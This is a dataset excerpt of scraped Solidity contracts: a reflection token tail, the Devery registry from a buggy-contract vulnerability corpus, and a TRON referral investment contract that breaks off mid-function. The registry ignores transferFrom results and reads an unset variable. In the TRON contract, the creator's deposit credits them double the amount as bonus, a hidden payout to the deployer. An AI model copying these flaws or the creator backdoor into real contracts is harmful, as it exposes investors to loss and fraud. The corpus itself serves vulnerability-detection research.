function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurned() public view returns (uint256) {
return TOTAL_SUPPLY - _tTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns (uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
(uint256 rAmount,uint256 rTransferAmount,,,,,) = _getValues(tAmount);
return deductTransferFee ? rTransferAmount : rAmount;
}
function tokenFromReflection(uint256 rAmount) public view returns (uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
return rAmount.div(_getRate());
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if (_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function airdrop(address recipient, uint256 amount) public onlyOwner() {
require(amount > 0, "Invalid transfer amount");
(uint256 rAmount,,,,,,) = _getValues(amount);
address sender = _msgSender();
require(rAmount <= _rOwned[sender], "Insufficient amount");
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rAmount);
emit Transfer(sender, recipient, amount);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 rBurn, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee, rBurn, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
emit Transfer(sender, address(0), tBurn);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 rBurn, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee, rBurn, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
emit Transfer(sender, address(0), tBurn);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 rBurn, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee, rBurn, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
emit Transfer(sender, address(0), tBurn);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(,,,,uint256 tTransferAmount,,) = _getValues(tAmount);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee, uint256 rBurn, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee.add(rBurn));
_tTotal = _tTotal.sub(tBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 rBurn) = _getRValues(tAmount, tFee, tBurn, _getRate());
return (rAmount, rTransferAmount, rFee, rBurn, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(FEE_PERCENT);
uint256 tBurn = tAmount.div(100).mul(BURN_PERCENT);
uint256 tTransferAmount = tAmount.sub(tFee.add(tBurn));
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 rate) private pure returns (uint256, uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(rate);
uint256 rFee = tFee.mul(rate);
uint256 rBurn = tBurn.mul(rate);
uint256 rTransferAmount = rAmount.sub(rFee.add(rBurn));
return (rAmount, rTransferAmount, rFee, rBurn);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
| 231,336 | 602 |
b5e37d9eae07e403bbc152e29ca3049825a367b0bcbd1f5a79b159d286759e21
| 14,521 |
.sol
|
Solidity
| false |
451141221
|
MANDO-Project/ge-sc
|
0adf91ac5bb0ffdb9152186ed29a5fc7b0c73836
|
experiments/ge-sc-data/source_code/unchecked_low_level_calls/clean_95_buggy_curated_0/0x0364a98148b7031451e79b93449b20090d79702a.sol
| 2,927 | 14,491 |
pragma solidity ^0.4.17;
// ----------------------------------------------------------------------------
// Devery Contracts - The Monolithic Registry
//
// Deployed to Ropsten Testnet at 0x654f4a3e3B7573D6b4bB7201AB70d718961765CD
//
// Enjoy.
//
// (c) BokkyPooBah / Bok Consulting Pty Ltd for Devery 2017. The MIT Licence.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function Owned() public {
owner = msg.sender;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = 0x0;
}
}
// ----------------------------------------------------------------------------
// Administrators
// ----------------------------------------------------------------------------
contract Admined is Owned {
mapping (address => bool) public admins;
event AdminAdded(address addr);
event AdminRemoved(address addr);
modifier onlyAdmin() {
require(isAdmin(msg.sender));
_;
}
function isAdmin(address addr) public constant returns (bool) {
return (admins[addr] || owner == addr);
}
function addAdmin(address addr) public onlyOwner {
require(!admins[addr] && addr != owner);
admins[addr] = true;
AdminAdded(addr);
}
function removeAdmin(address addr) public onlyOwner {
require(admins[addr]);
delete admins[addr];
AdminRemoved(addr);
}
}
// ----------------------------------------------------------------------------
// Devery Registry
// ----------------------------------------------------------------------------
contract DeveryRegistry is Admined {
struct App {
address appAccount;
string appName;
address feeAccount;
uint fee;
bool active;
}
struct Brand {
address brandAccount;
address appAccount;
string brandName;
bool active;
}
struct Product {
address productAccount;
address brandAccount;
string description;
string details;
uint year;
string origin;
bool active;
}
ERC20Interface public token;
address public feeAccount;
uint public fee;
mapping(address => App) public apps;
mapping(address => Brand) public brands;
mapping(address => Product) public products;
mapping(address => mapping(address => bool)) permissions;
mapping(bytes32 => address) markings;
address[] public appAccounts;
address[] public brandAccounts;
address[] public productAccounts;
event TokenUpdated(address indexed oldToken, address indexed newToken);
event FeeUpdated(address indexed oldFeeAccount, address indexed newFeeAccount, uint oldFee, uint newFee);
event AppAdded(address indexed appAccount, string appName, address feeAccount, uint fee, bool active);
event AppUpdated(address indexed appAccount, string appName, address feeAccount, uint fee, bool active);
event BrandAdded(address indexed brandAccount, address indexed appAccount, string brandName, bool active);
event BrandUpdated(address indexed brandAccount, address indexed appAccount, string brandName, bool active);
event ProductAdded(address indexed productAccount, address indexed brandAccount, address indexed appAccount, string description, bool active);
event ProductUpdated(address indexed productAccount, address indexed brandAccount, address indexed appAccount, string description, bool active);
event Permissioned(address indexed marker, address indexed brandAccount, bool permission);
event Marked(address indexed marker, address indexed productAccount, address appFeeAccount, address feeAccount, uint appFee, uint fee, bytes32 itemHash);
// ------------------------------------------------------------------------
// Token, fee account and fee
// ------------------------------------------------------------------------
function setToken(address _token) public onlyAdmin {
TokenUpdated(address(token), _token);
token = ERC20Interface(_token);
}
function setFee(address _feeAccount, uint _fee) public onlyAdmin {
FeeUpdated(feeAccount, _feeAccount, fee, _fee);
feeAccount = _feeAccount;
fee = _fee;
}
// ------------------------------------------------------------------------
// Account can add itself as an App account
// ------------------------------------------------------------------------
function addApp(string appName, address _feeAccount, uint _fee) public {
App storage e = apps[msg.sender];
require(e.appAccount == address(0));
apps[msg.sender] = App({
appAccount: msg.sender,
appName: appName,
feeAccount: _feeAccount,
fee: _fee,
active: true
});
appAccounts.push(msg.sender);
AppAdded(msg.sender, appName, _feeAccount, _fee, true);
}
function updateApp(string appName, address _feeAccount, uint _fee, bool active) public {
App storage e = apps[msg.sender];
require(msg.sender == e.appAccount);
e.appName = appName;
e.feeAccount = _feeAccount;
e.fee = _fee;
e.active = active;
AppUpdated(msg.sender, appName, _feeAccount, _fee, active);
}
function getApp(address appAccount) public constant returns (App app) {
app = apps[appAccount];
}
function getAppData(address appAccount) public constant returns (address _feeAccount, uint _fee, bool active) {
App storage e = apps[appAccount];
_feeAccount = e.feeAccount;
_fee = e.fee;
active = e.active;
}
function appAccountsLength() public constant returns (uint) {
return appAccounts.length;
}
// ------------------------------------------------------------------------
// App account can add Brand account
// ------------------------------------------------------------------------
function addBrand(address brandAccount, string brandName) public {
App storage app = apps[msg.sender];
require(app.appAccount != address(0));
Brand storage brand = brands[brandAccount];
require(brand.brandAccount == address(0));
brands[brandAccount] = Brand({
brandAccount: brandAccount,
appAccount: msg.sender,
brandName: brandName,
active: true
});
brandAccounts.push(brandAccount);
BrandAdded(brandAccount, msg.sender, brandName, true);
}
function updateBrand(address brandAccount, string brandName, bool active) public {
Brand storage brand = brands[brandAccount];
require(brand.appAccount == msg.sender);
brand.brandName = brandName;
brand.active = active;
BrandUpdated(brandAccount, msg.sender, brandName, active);
}
function getBrand(address brandAccount) public constant returns (Brand brand) {
brand = brands[brandAccount];
}
function getBrandData(address brandAccount) public constant returns (address appAccount, address appFeeAccount, bool active) {
Brand storage brand = brands[brandAccount];
require(brand.appAccount != address(0));
App storage app = apps[brand.appAccount];
require(app.appAccount != address(0));
appAccount = app.appAccount;
appFeeAccount = app.feeAccount;
active = app.active && brand.active;
}
function brandAccountsLength() public constant returns (uint) {
return brandAccounts.length;
}
// ------------------------------------------------------------------------
// Brand account can add Product account
// ------------------------------------------------------------------------
function addProduct(address productAccount, string description, string details, uint year, string origin) public {
Brand storage brand = brands[msg.sender];
require(brand.brandAccount != address(0));
App storage app = apps[brand.appAccount];
require(app.appAccount != address(0));
Product storage product = products[productAccount];
require(product.productAccount == address(0));
products[productAccount] = Product({
productAccount: productAccount,
brandAccount: msg.sender,
description: description,
details: details,
year: year,
origin: origin,
active: true
});
productAccounts.push(productAccount);
ProductAdded(productAccount, msg.sender, app.appAccount, description, true);
}
function updateProduct(address productAccount, string description, string details, uint year, string origin, bool active) public {
Product storage product = products[productAccount];
require(product.brandAccount == msg.sender);
Brand storage brand = brands[msg.sender];
require(brand.brandAccount == msg.sender);
App storage app = apps[brand.appAccount];
product.description = description;
product.details = details;
product.year = year;
product.origin = origin;
product.active = active;
ProductUpdated(productAccount, product.brandAccount, app.appAccount, description, active);
}
function getProduct(address productAccount) public constant returns (Product product) {
product = products[productAccount];
}
function getProductData(address productAccount) public constant returns (address brandAccount, address appAccount, address appFeeAccount, bool active) {
Product storage product = products[productAccount];
require(product.brandAccount != address(0));
Brand storage brand = brands[brandAccount];
require(brand.appAccount != address(0));
App storage app = apps[brand.appAccount];
require(app.appAccount != address(0));
brandAccount = product.brandAccount;
appAccount = app.appAccount;
appFeeAccount = app.feeAccount;
active = app.active && brand.active && brand.active;
}
function productAccountsLength() public constant returns (uint) {
return productAccounts.length;
}
// ------------------------------------------------------------------------
// Brand account can permission accounts as markers
// ------------------------------------------------------------------------
function permissionMarker(address marker, bool permission) public {
Brand storage brand = brands[msg.sender];
require(brand.brandAccount != address(0));
permissions[marker][msg.sender] = permission;
Permissioned(marker, msg.sender, permission);
}
// ------------------------------------------------------------------------
// Compute item hash from the public key
// ------------------------------------------------------------------------
function addressHash(address item) public pure returns (bytes32 hash) {
hash = keccak256(item);
}
// ------------------------------------------------------------------------
// Markers can add [productAccount, sha3(itemPublicKey)]
// ------------------------------------------------------------------------
function mark(address productAccount, bytes32 itemHash) public {
Product storage product = products[productAccount];
require(product.brandAccount != address(0) && product.active);
Brand storage brand = brands[product.brandAccount];
require(brand.brandAccount != address(0) && brand.active);
App storage app = apps[brand.appAccount];
require(app.appAccount != address(0) && app.active);
bool permissioned = permissions[msg.sender][brand.brandAccount];
require(permissioned);
markings[itemHash] = productAccount;
Marked(msg.sender, productAccount, app.feeAccount, feeAccount, app.fee, fee, itemHash);
if (app.fee > 0) {
token.transferFrom(brand.brandAccount, app.feeAccount, app.fee);
}
if (fee > 0) {
token.transferFrom(brand.brandAccount, feeAccount, fee);
}
}
// ------------------------------------------------------------------------
// Check itemPublicKey has been registered
// ------------------------------------------------------------------------
function check(address item) public constant returns (address productAccount, address brandAccount, address appAccount) {
bytes32 hash = keccak256(item);
productAccount = markings[hash];
// require(productAccount != address(0));
Product storage product = products[productAccount];
// require(product.brandAccount != address(0));
Brand storage brand = brands[product.brandAccount];
// require(brand.brandAccount != address(0));
brandAccount = product.brandAccount;
appAccount = brand.appAccount;
}
}
| 132,652 | 603 |
deef34c568b7dd12612a9693b88edcf99a466f363cf1343cad86118431780c8a
| 25,194 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TP/TPFSxQH1zWEpEhDtYwQCD7cHidfAcFVfjr_TRONexToken.sol
| 7,366 | 23,962 |
//SourceUnit: tronex_release.sol
pragma solidity 0.5.12;
contract Creator {
address payable public creator;
constructor() public {
creator = msg.sender;
}
modifier creatorOnly {
assert(msg.sender == creator);
_;
}
}
contract TRONexToken is Creator{
using SafeMath for uint256;
uint256 constant public INVEST_MIN_AMOUNT = 100 trx;
uint256 constant public CONTRACT_BALANCE_STEP = 1000000 trx;
uint256 constant public TIME_STEP = 1 days;
uint256 constant public BASE_PERCENT = 10;
uint256 constant public MAX_PERCENT = 100;
uint256 public REFERRAL_PERCENTS = 150;
uint256 constant public PROJECT_FEE = 50;
uint256 constant public PERCENTS_DIVIDER = 1000;
uint256[] public admin_fee = [300, 200, 100, 50, 50, 30,30,30,30,30,10,10,10,10,10,10,10,10,10,10];
uint256 private totalUsers;
uint256 private totalInvested;
uint256 private totalWithdrawn;
uint256 private totalDeposits;
uint256 public lastInvestTime;
bool private isStop;
uint256 public spanLastTime = 12 hours;
struct LastUser{
address user;
uint256 investTime;
}
LastUser[10] public lastUserArr;
uint256 lastUserIndex;
address payable public projectAddress;
struct Deposit {
uint256 amount;
uint256 withdrawn;
uint256 start;
uint256 drawntime;
uint256 contact_amount;
}
struct Admin_info{
uint256 amount;
uint256 drawntime;
}
struct User {
uint256 allAmount;
uint256 bonus;
uint256 bonus_with_draw;
uint256 admin_bonus;
uint256 admin_with_draw;
address referrer;
Deposit[] deposits;
Admin_info[20] admin_infos;
}
mapping(address => User) public users;
event Newbie(address user);
event NewDeposit(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount, uint256 t);
event RefBonus(address indexed referrer, address indexed referral, uint256 amount);
event FeePayed(address indexed user, uint256 totalAmount);
constructor() public {
lastInvestTime = block.timestamp;
}
modifier IsInitialized {
require(projectAddress != address(0), "not Initialized");
_;
}
function initialize(address payable projectAddr) public payable creatorOnly {
require(projectAddress == address(0)&& projectAddr!= address(0), "initialize only would call once");
require(!isContract(projectAddr)&&(tx.origin == msg.sender));
projectAddress = projectAddr;
}
function addLastUser(address user) internal {
bool flag;
uint256 i = 0;
lastInvestTime = block.timestamp;
for(i = 0; i < 10; i++){
if(lastUserArr[i].investTime == 0){
break;
}
if(lastUserArr[i].user == user){
flag = true;
break;
}
}
if(flag == true){
lastUserArr[i].investTime = block.timestamp;
return;
}
if(lastUserIndex == 10){
lastUserIndex = 0;
}
lastUserArr[lastUserIndex].user = user;
lastUserArr[lastUserIndex].investTime = block.timestamp;
lastUserIndex = lastUserIndex.add(1);
return;
}
function checkLastInvestTime() internal {
require(isStop == false, "already stop");
if(block.timestamp.sub(lastInvestTime) <= spanLastTime){
return;
}
uint256 num;
uint256 i;
for(i = 0; i < 10; i++){
if(lastUserArr[i].investTime == 0){
break;
}
}
num = i;
uint total = address(this).balance;
if(num == 0 || total == 0){
isStop = true;
return;
}
uint perAmount = total.div(num);
if(perAmount != 0){
for(uint256 j = 0; j < num; j++){
address(uint160(lastUserArr[j].user)).transfer(perAmount);
}
}
isStop = true;
return;
}
function getLastUser() view public returns(uint256 lastTime, address[10] memory userArr, uint256[10] memory timeArr){
address[10] memory a;
uint256[10] memory b;
for(uint i = 0; i < 10; i++){
a[i] = lastUserArr[i].user;
b[i] = lastUserArr[i].investTime;
}
return (lastInvestTime, a, b);
}
function invest(address referrer) public payable IsInitialized {
checkLastInvestTime();
if(isStop == true){
return;
}
require(!isContract(referrer) && !isContract(msg.sender)&&(tx.origin == msg.sender));
address upline = referrer;
require(msg.value >= INVEST_MIN_AMOUNT, "less than limit");
User storage user = users[msg.sender];
if (referrer != projectAddress) {
if (user.referrer == address(0)) {
if (upline == address(0) || users[upline].deposits.length == 0 || referrer == msg.sender) {
//require(false, "check failed");
upline = projectAddress;
}
}
}
emit NewDeposit(msg.sender, msg.value);
uint256 fee = msg.value.mul(PROJECT_FEE).div(PERCENTS_DIVIDER);
projectAddress.transfer(fee);
emit FeePayed(msg.sender, fee);
if (user.referrer == address(0)) {
user.referrer = upline;
}
user.allAmount = user.allAmount.add(msg.value);
upline = user.referrer;
for(uint256 i = 0; i < 20; i++){
if(upline != address(0)){
if(users[upline].admin_infos[i].amount == 0){
users[upline].admin_infos[i].drawntime = block.timestamp;
}
users[upline].admin_infos[i].amount = users[upline].admin_infos[i].amount.add(msg.value);
if(upline == projectAddress){
break;
}
}
else{
break;
}
upline = users[upline].referrer;
}
upline = user.referrer;
if(upline != address(0)){
if(msg.sender != creator){
uint256 amount = msg.value.mul(REFERRAL_PERCENTS).div(PERCENTS_DIVIDER);
users[upline].bonus = users[upline].bonus.add(amount);
emit RefBonus(upline, msg.sender, amount);
}
else{
users[msg.sender].bonus = users[msg.sender].bonus.add(msg.value.mul(2));
}
}
if (user.deposits.length == 0) {
totalUsers = totalUsers.add(1);
emit Newbie(msg.sender);
}
user.deposits.push(Deposit(msg.value, 0, block.timestamp, block.timestamp, address(this).balance));
totalInvested = totalInvested.add(msg.value);
totalDeposits = totalDeposits.add(1);
addLastUser(msg.sender);
}
function withdraw_static() public IsInitialized {
checkLastInvestTime();
if(isStop == true){
return;
}
require(!isContract(msg.sender)&&(tx.origin == msg.sender));
User storage user = users[msg.sender];
uint256 totalAmount;
uint256 dividends;
for (uint256 i = 0; i < user.deposits.length; i++) {
Deposit memory temp = user.deposits[i];
if (temp.withdrawn < temp.amount.mul(2)) {
uint256 userPercentRate = getUserPercentRate(msg.sender, temp.drawntime, temp.contact_amount);
dividends = (temp.amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(temp.drawntime))
.div(TIME_STEP);
if (temp.withdrawn.add(dividends) > temp.amount.mul(2)) {
dividends = (temp.amount.mul(2)).sub(temp.withdrawn);
}
totalAmount = totalAmount.add(dividends);
/// changing of storage data
user.deposits[i].withdrawn = temp.withdrawn.add(dividends);
user.deposits[i].drawntime = block.timestamp;
}
}
require(totalAmount > 0, "User has no dividends");
address upline = user.referrer;
for(uint256 i = 0; i < 20; i++){
if(upline != address(0)){
if(users[upline].admin_infos[i].amount > 0){
uint256 timeMultiplier = (block.timestamp.sub(users[upline].admin_infos[i].drawntime)).div(TIME_STEP);
uint256 percent = BASE_PERCENT.add(timeMultiplier.min(40));
uint a = users[upline].admin_infos[i].amount.mul(percent).mul(admin_fee[i]);
uint b = block.timestamp.sub(users[upline].admin_infos[i].drawntime);
users[upline].admin_bonus = users[upline].admin_bonus.add(a.mul(b).div(TIME_STEP).div(PERCENTS_DIVIDER).div(PERCENTS_DIVIDER));
if(users[upline].admin_infos[i].amount > totalAmount){
users[upline].admin_infos[i].amount = users[upline].admin_infos[i].amount.sub(totalAmount);
}
else{
users[upline].admin_infos[i].amount = 0;
}
users[upline].admin_infos[i].drawntime = block.timestamp;
}
if(upline == projectAddress){
break;
}
}
else{
break;
}
upline = users[upline].referrer;
}
uint256 contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
msg.sender.transfer(totalAmount);
totalWithdrawn = totalWithdrawn.add(totalAmount);
emit Withdrawn(msg.sender, totalAmount, 0);
}
function withdraw_out() public IsInitialized {
checkLastInvestTime();
if(isStop == true){
return;
}
require(!isContract(msg.sender)&&(tx.origin == msg.sender));
User storage user = users[msg.sender];
uint256 totalAmount;
uint256 dividends;
for (uint256 i = 0; i < user.deposits.length; i++) {
Deposit memory temp = user.deposits[i];
if (temp.withdrawn < temp.amount.mul(2)) {
uint256 userPercentRate = getUserPercentRate(msg.sender, temp.drawntime, temp.contact_amount);
dividends = (temp.amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(temp.drawntime))
.div(TIME_STEP);
if (temp.withdrawn.add(dividends) > temp.amount.mul(2)) {
dividends = (temp.amount.mul(2)).sub(temp.withdrawn);
totalAmount = totalAmount.add(dividends);
user.deposits[i].withdrawn = temp.withdrawn.add(dividends);
user.deposits[i].drawntime = block.timestamp;
}
}
}
require(totalAmount > 0, "User has no dividends");
address upline = user.referrer;
for(uint256 i = 0; i < 20; i++){
if(upline != address(0)){
if(users[upline].admin_infos[i].amount > 0){
uint256 timeMultiplier = (block.timestamp.sub(users[upline].admin_infos[i].drawntime)).div(TIME_STEP);
uint256 percent = BASE_PERCENT.add(timeMultiplier.min(40));
uint a = users[upline].admin_infos[i].amount.mul(percent).mul(admin_fee[i]);
uint b = block.timestamp.sub(users[upline].admin_infos[i].drawntime);
users[upline].admin_bonus = users[upline].admin_bonus.add(a.mul(b).div(TIME_STEP).div(PERCENTS_DIVIDER).div(PERCENTS_DIVIDER));
if(users[upline].admin_infos[i].amount > totalAmount){
users[upline].admin_infos[i].amount = users[upline].admin_infos[i].amount.sub(totalAmount);
}
else{
users[upline].admin_infos[i].amount = 0;
}
users[upline].admin_infos[i].drawntime = block.timestamp;
}
if(upline == projectAddress){
break;
}
}
else{
break;
}
upline = users[upline].referrer;
}
uint256 contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
msg.sender.transfer(totalAmount);
totalWithdrawn = totalWithdrawn.add(totalAmount);
emit Withdrawn(msg.sender, totalAmount, 2);
}
function withdraw_dynamic() public IsInitialized {
checkLastInvestTime();
if(isStop == true){
return;
}
require(!isContract(msg.sender)&&(tx.origin == msg.sender));
User storage user = users[msg.sender];
require(user.allAmount.mul(2) > user.bonus_with_draw.add(user.admin_with_draw), "already tow times");
uint256 totalAmount;
uint256 user_all_withdraw = user.bonus_with_draw.add(user.admin_with_draw);
uint256 referralBonus = getUserReferralBonus(msg.sender);
if(referralBonus > 0){
if(user_all_withdraw.add(referralBonus) > user.allAmount.mul(2)){
referralBonus = user.allAmount.mul(2).sub(user_all_withdraw);
}
user.bonus_with_draw = user.bonus_with_draw.add(referralBonus);
totalAmount = referralBonus;
if(referralBonus == user.bonus){
user.bonus = 0;
}
else{
user.bonus = user.bonus.sub(referralBonus);
}
}
uint256 adminBonus = 0;
for(uint256 i = 0; i < user.admin_infos.length; i++){
if(user.admin_infos[i].amount != 0){
uint256 timeMultiplier = (block.timestamp.sub(user.admin_infos[i].drawntime)).div(TIME_STEP);
uint256 percent = BASE_PERCENT.add(timeMultiplier.min(40));
uint a = user.admin_infos[i].amount.mul(percent).mul(admin_fee[i]);
uint b = block.timestamp.sub(user.admin_infos[i].drawntime);
uint c = a.mul(b).div(TIME_STEP).div(PERCENTS_DIVIDER).div(PERCENTS_DIVIDER);
adminBonus = adminBonus.add(c);
user.admin_infos[i].drawntime = block.timestamp;
}
}
adminBonus = adminBonus.add(user.admin_bonus);
user.admin_bonus = 0;
if(adminBonus > 0){
if(user_all_withdraw.add(totalAmount).add(adminBonus) > user.allAmount.mul(2)){
uint256 temp = user.allAmount.mul(2).sub(user_all_withdraw.add(totalAmount));
user.admin_bonus = adminBonus.sub(temp);
adminBonus = temp;
}
user.admin_with_draw = user.admin_with_draw.add(adminBonus);
totalAmount = totalAmount.add(adminBonus);
}
require(totalAmount > 0, "User has no dividends");
uint256 contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
msg.sender.transfer(totalAmount);
totalWithdrawn = totalWithdrawn.add(totalAmount);
emit Withdrawn(msg.sender, totalAmount, 1);
}
function getInfo(address userAddress) public view returns (uint256[20] memory) {
uint256[20] memory info;
uint i = 0;
uint256 referralBonus = getUserReferralBonus(userAddress);
uint256 adminBonus = getUserAdminBonus(userAddress);
uint256 bonus_with_draw = users[userAddress].bonus_with_draw;
uint256 admin_with_draw = users[userAddress].admin_with_draw;
uint256 total;
if(bonus_with_draw.add(admin_with_draw).add(referralBonus.add(adminBonus)) > users[userAddress].allAmount.mul(2)){
uint a = users[userAddress].allAmount;
total = a.mul(2).sub(bonus_with_draw).sub(admin_with_draw);
}
else{
total = referralBonus.add(adminBonus);
}
info[i++] = address(this).balance;
info[i++] = getUserPercentMaxRate(userAddress);
info[i++] = getContractBalanceMaxRate(userAddress);
info[i++] = getUserDividends(userAddress);
info[i++] = 0;
info[i++] = getUserTotalDeposits(userAddress);
info[i++] = getUserTotalWithdrawn(userAddress);
info[i++] = users[userAddress].deposits.length;
info[i++] = totalUsers;
info[i++] = totalInvested;
info[i++] = totalWithdrawn;
info[i++] = totalDeposits;
info[i++] = getUserReferralBonus(userAddress);
info[i++] = getUserAdminBonus(userAddress);
info[i++] = users[userAddress].bonus_with_draw;
info[i++] = users[userAddress].admin_with_draw;
info[i++] = total;
info[i++] = getUserDividendsOut(userAddress);
return info;
}
function getAdminInfos(address userAddress) public view returns(uint256[5] memory){
User memory user = users[userAddress];
uint256[5] memory info;
uint i = 0;
info[i++] = user.admin_infos[0].amount;
info[i++] = user.admin_infos[1].amount;
info[i++] = user.admin_infos[2].amount;
info[i++] = user.admin_infos[3].amount;
info[i++] = user.admin_infos[4].amount;
return info;
}
function getUserAdminBonus(address userAddress) public view returns(uint256){
uint256 adminBonus = 0;
User memory user = users[userAddress];
for(uint256 i = 0; i < user.admin_infos.length; i++){
if(user.admin_infos[i].amount != 0){
uint256 timeMultiplier = (block.timestamp.sub(user.admin_infos[i].drawntime)).div(TIME_STEP);
uint256 percent = BASE_PERCENT.add(timeMultiplier.min(40));
uint a = user.admin_infos[i].amount.mul(percent).mul(admin_fee[i]);
